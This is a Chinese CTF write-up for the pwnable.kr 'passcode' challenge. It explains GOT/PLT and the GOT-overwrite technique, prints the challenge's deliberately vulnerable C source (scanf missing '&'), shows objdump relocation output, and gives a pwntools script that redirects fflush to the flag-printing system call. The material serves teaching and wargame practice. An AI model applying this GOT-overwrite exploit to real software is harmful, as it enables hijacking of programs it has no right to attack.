passcode - pwnable

passcode - pwnable

本题运用到GOT表覆写技术,先摘取一段来自Jing0107关于Linux的GOT和PLT的知识:

GOT表:

概念:每一个外部定义的符号在全局偏移表(Global offset Table )中有相应的条目,GOT位于ELF的数据段中,叫做GOT段。

作用:把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时,运行时连接编辑器(rtld)找到相应的符号,并将它重定位到GOT之后每次调用这个函数都会将控制权直接转向那个位置,而不再调用rtld。

PLT表:

过程连接表(Procedure LinkageTable),一个PLT条目对应一个GOT条目

当main函数开始,会请求plt中这个函数的对应GOT地址,如果第一次调用那么GOT会重定位到plt,并向栈中压入一个偏移,程序的执行回到_init()函数,rtld得以调用就可以定位printf的符号地址,第二次运行程序再次调用这个函数时程序跳入plt,对应的GOT入口点就是真实的函数入口地址。

动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址.

GOT覆写技术:

原理:由于got表是可写的,把其中的函数地址覆盖为我们shellcode地址,在程序进行调用这个函数时就会执行shellcode。


1.获取题目

我们先用ssh链接上pwnable的服务器获取题目。在终端输入ssh passcode@pwnable.kr -p2222,出现提示后输入密码guest

查看目录下有的文件以及文件权限ls -l


2. 运行程序、查看文件类型、保护措施

我们先运行一下。首先需要输入用户名,接着输入密码1,密码2检查中,登录失败。

查看文件的基本信息:32位动态链接的ELF

查看文件的保存措施:有栈溢出保护和NX(数据执行保护)


3.分析源码

题目有给出源码,查看源码:cat passcode.c

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

看完源码,我们可以知道:当passcode1==338150 && passcode2==13371337时,程序会运行system("/bin/cat flag"),给出flag的内容。但是当我们输入对应值时,程序运行出错了。

我看第一遍的时候没有发现问题,那么根据题目和源码打印字符串的提示,尝试gcc编译一下,编译器给出警告:

发现是在scanf函数时,缺少了一个&号,造成的结果是把passcode变量当做指针,对以passcode值寻址到的内存地址进行覆盖,如果passcode可以被控制,则可造成一个DWORD SHOOT。

简单解释就是scanf中的passcode前少加了一个&,导致函数读取变量passcode的值,作为写入的内存地址,而不是写入变量passcode的内存地址。

因此,如果scanf读取passcode的值作为写入地址,而写入地址不可写,那么就会造成一个内存错误。


解题关键点在welcome函数,在函数体内定义了一个100字节的字符串。

我们在IDA中查看这个定义了字符串(v1)(源码中的name)位置,距离栈底70(ebp-70h)。

我们再看main函数体中,welcome函数和login函数是连续调用的,导致它们拥有相同的栈底(ebp)

那我们再看看login函数中,有哪些变量在栈上?password1(v1)和password2(v2)。

前面我们知道了scanf函数会,将password的初始值当做写入的内存地址。那我们就要看看password的值是否是定义时有初始值,有没有可能被修改了,尤其是welcome函数定义了一个100字节字符串。

从IDA分析来看name与password1的距离是96字节(0x70-0x10),即password1初始值有可能被覆盖修改了。

结合前面补充的GOT表知识,我们可以尝试这样:利用100字节的变量name,覆写修改password的值为GOT表上某一外部函数的地址,然后scanf将system(‘\bin\cat flag’)的内存地址写入GOT表某一函数上,如果程序调用这个被修改的函数,那么就等同于执行system(‘\bin\cat flag’)。


我们先来查询程序的GOT表:


passcode@ubuntu:~$ objdump -R passcode

passcode:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a02c R_386_COPY        stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT   printf@GLIBC_2.0          //printf的地址
0804a004 R_386_JUMP_SLOT   fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT   puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   __gmon_start__
0804a018 R_386_JUMP_SLOT   exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7

结合IDA分析,可以看到调用scanf之后,就马上调用了fflush。我们就将password1的值替换为fflush在GOT表中地址,即0x0804a004

当程序要求我们输入password1时,填入调用flag命令的内存地址:0x080485E3

4.编写利用脚本

from pwn import *

pwn = process('./passcode')#加载程序

fflush_got_addr = 0x0804a004#fflush函数在GOT表地址
call_flag_addr = 0x080485E3#调用flag命令的内存地址

payload = 'a' * (0x70 - 0x10) + p32(fflush_got_addr)#将地址转换为字符串,输入给变量name

pwn.send(payload)#向程序发送字符串
pwn.send(str(call_flag_addr))#将内存地址转完为十进制的字符串。

pwn.interactive()#移交控制权

5.总结

  • GOT表可改写;GOT表记录外部函数的真实地址,可以修改GOT表中记录的地址为我们想程序执行的内存地址,当程序调用被修改了GOT表的函数时,则会运行我们所期望的命令,而程序认为自己运行了外部函数。

6. 参考文章

pwnable.kr的passcode

【pwnable.kr】passcode

pwnable.kr的passcode

pwnable.kr 之 passcode write up

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值